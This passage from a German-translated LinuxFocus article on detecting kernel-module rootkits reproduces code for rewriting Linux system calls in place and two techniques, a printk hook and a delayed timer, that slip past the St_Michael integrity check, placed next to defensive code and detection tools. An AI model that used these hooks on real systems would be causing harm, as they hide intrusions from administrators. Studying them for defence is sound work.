Wie wir gesehen haben, arbeiten die LKM Root–kits alle mit System Call Table Modifizierung. Eine erste Lösung ist, die Adresse der Module in einen zweiten Table zu schreiben und die Aufrufe, die `sys_init_module()` und `sys_delete_module()` handhaben, umzudefinieren. Danach kann nach jedem Laden eines Modules überprüft werden, dass die Adressen noch passen:

```
/* Extract from St_Michael module by Tim Lawless */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);

  /*
     Verify that the syscall table is the same.
     If its changed then respond

     We could probably make this a function in itself, but
     why spend the extra time making a call?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
        sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }
  }
  return init_module_return;
}
```

Diese Lösung schützt vor heutigen LKM Root−kits, aber sie ist noch lange nicht perfekt. Sicherheit ist ein Wettrüsten. Hier ist z.B. eine Technik, der heutige "Waffen" nichts anhaben können. Wenn man nicht die System Call Adresse ändern kann, warum nicht einfach den System Call selbst ändern? Das ist in Silvio Cesares stealth−syscall.txt beschrieben. Dieser Angriff ersetzt die ersten Bytes eines System Calls mit "`jump &new_syscall`" (hier in pseudo Assembler):

```
/* Extract from stealth_syscall.c (Linux 2.0.35) by Silvio Cesare */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code));
  return 0;
}
```

Wie wir unsere Programme und Bibliotheken mit Integritätstests schützen, müssen wir hier das gleiche machen. Wir merken uns eine Prüfsumme für jeden Systemcall. Das `St_Michael` Modul versucht das in einer neueren Version. Der `init_module()` Aufruf wird verändert und nach jedem Laden eines Moduls kann ein Integritätstests durchgeführt werden.

Jedoch ist es selbst hier möglich, am Integritätstest vorbei zu kommen. Die Beispiele kommen von Tim Lawless, Mixman und mir. Der Quellcode ist von Mixman:

1. Eine Funktion ändern, die kein Systemcall ist: Gleiches Prinzip wie bei einem Systemcall. In `init_module()`, ändern wir die ersten Bytes der Funktion (`printk()` in dem Beispiel) und

springen nach `hacked_printk()`:

```
/* Extract from printk_exploit.c by Mixman */

static unsigned char hacked = 0;

/* hacked_printk() replaces system call.
   Next, we execute "normal" printk() for everything to work properly
*/
asmlinkage int hacked_printk(const char* fmt,...)
{
  va_list args;
  char buf[4096];
  int i;

  if(!fmt) return 0;
  if(!hacked) {
    sys_call_table[SYS_chdir] = hacked_chdir;
    hacked = 1;
  }
  memset(buf,0,sizeof(buf));
  va_start(args,fmt);
  i = vsprintf(buf,fmt,args);
  va_end(args);
  return i;
}
```

Der Integritätstest, der in der Umdefinierung von `init_module()` steckt, findet keine Änderung zum Ladezeitpunkt. Beim nächsten Aufruf von `printk()` wird die Änderung gemacht. Das Modul ist überlistet....
Um dagegen vorzugehen, müssen die Prüfsummen auf den gesamten Kernel ausgedehnt werden.

2. Eine andere Möglichkeit. Benutzen eines Timers: in `init_module()` wird ein Timer gestartet und führt die Änderungen der Systemcalls viel später durch als das Laden der Module. Zum Ladezeitpunkt wird also keine Änderung festgestellt :(

```
/* timer_exploit.c by Mixman */

#define TIMER_TIMEOUT  200

extern void* sys_call_table[];
int (*org_chdir)(const char*);

static timer_t timer;
static unsigned char hacked = 0;

asmlinkage int hacked_chdir(const char* path)
{
  printk("Some sort of periodic checking could be a solution...\n");
  return org_chdir(path);
}

void timer_handler(unsigned long arg)
{
  if(!hacked) {
    hacked = 1;
    org_chdir = sys_call_table[SYS_chdir];
    sys_call_table[SYS_chdir] = hacked_chdir;
  }
}

int init_module(void)
```

```
{
  printk("Adding kernel timer...\n");
  memset(&timer,0,sizeof(timer));
  init_timer(&timer);
  timer.expires = jiffies + TIMER_TIMEOUT;
  timer.function = timer_handler;
  add_timer(&timer);
  printk("Syscall sys_chdir() should be modified in a few seconds\n");
  return 0;
}

void cleanup_module(void)
{
  del_timer(&timer);
  sys_call_table[SYS_chdir] = org_chdir;
}
```

At the moment, the thought solution is to run the integrity test from time to time and not only at module (un)load time.

Zusammenfassung

Systemintegrität zu erhalten, ist nicht einfach. Obwohl die vorgestellten Tests zuverlässig sind, gibt es doch immer wieder Möglichkeiten, sie zu umgehen. Die einzige Lösung ist, nichts und niemandem zu trauen, speziell dann, wenn ein Einbruch vermutet wird. Das beste ist, den Rechner vom Netz zu nehmen und mit einem anderen System den Schaden zu untersuchen.

Werkzeuge und Methoden, die hier diskutiert wurden, haben zwei Seiten: Sie sind für den Cracker und den Systemadministrator einsetzbar. Das haben wir bei dem `rootshell` Modul gesehen. Hier kann der Systemadministrator überprüfen, wer was ausführt.

Wenn man Integritätstest sorgfältig durchführt, kann man klassische Root–kits erkennen. Die Root–kits, die auf Kernelmodulen basieren, sind eine neue Herausforderung. Werkzeuge dafür sind in der Entwicklung (wie die Module selbst). Die Kernel Sicherheit beunruhigt mehr und mehr Leute. Linus selbst hat nach einem Modul, das im 2.5 Kernel für Sicherheit verantwortlich ist, gefragt.

In jedem Fall sollte man behalten, daß eine Maschine, in die eingebrochen wurde, niemals benutzt werden kann, um ihre eigene Integrität zu prüfen. Man kann weder den Programmen noch den Log–Dateien und Printouts vertrauen.

Links

- www.packetstormsecurity.org: hier findest du `adore` und `knark`, die bekanntesten LKM Root–kits;
- sourceforge.net/projects/stjude: die St_Jude und St_Mickael Module zur Intrusion Detection;
- www.s0ftpj.org/en/tools.html: `kstat` um `/dev/kmem` zu erforschen;
- www.chkrootkit.org: ein Script, um bekannte Root–kits zu erkennen;
- www.packetstormsecurity.org/docs/hack/LKM_HACKING.html: DER Führer, um am Kernel Dinge zu ändern (etwas alt – für 2.0 kernels – aber sehr gut);
- www.big.net.au/~silvio: die ausgezeichnete Silvio Cesare Seite (ein Muss)
- mail.wirex.com/mailman/listinfo/linux–security–module: die linux–security–module Mailing–Liste.

- www.tripwire.com: tripwirem das klassische Intrusion Detection System. Die Firma hat heute den Slogan *Tripwire Open Source, Linux Edition*;
- www.cs.tut.fi/~rammer/aide.html: `aide` (Advanced Intrusion Detection Environment) ein kleinerm aber effizienter Ersatz für `tripwire` (free software).

Translation information:
fr −−> −− : Frédéric Raynal aka Pappy (homepage)
fr −−> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en −−> de: Guido Socher, Karsten Schulz <gs(at)linuxfocus.org, kaschu(at)t800.ping.de>

2005−01−11, generated by lfparser_pdf version 2.51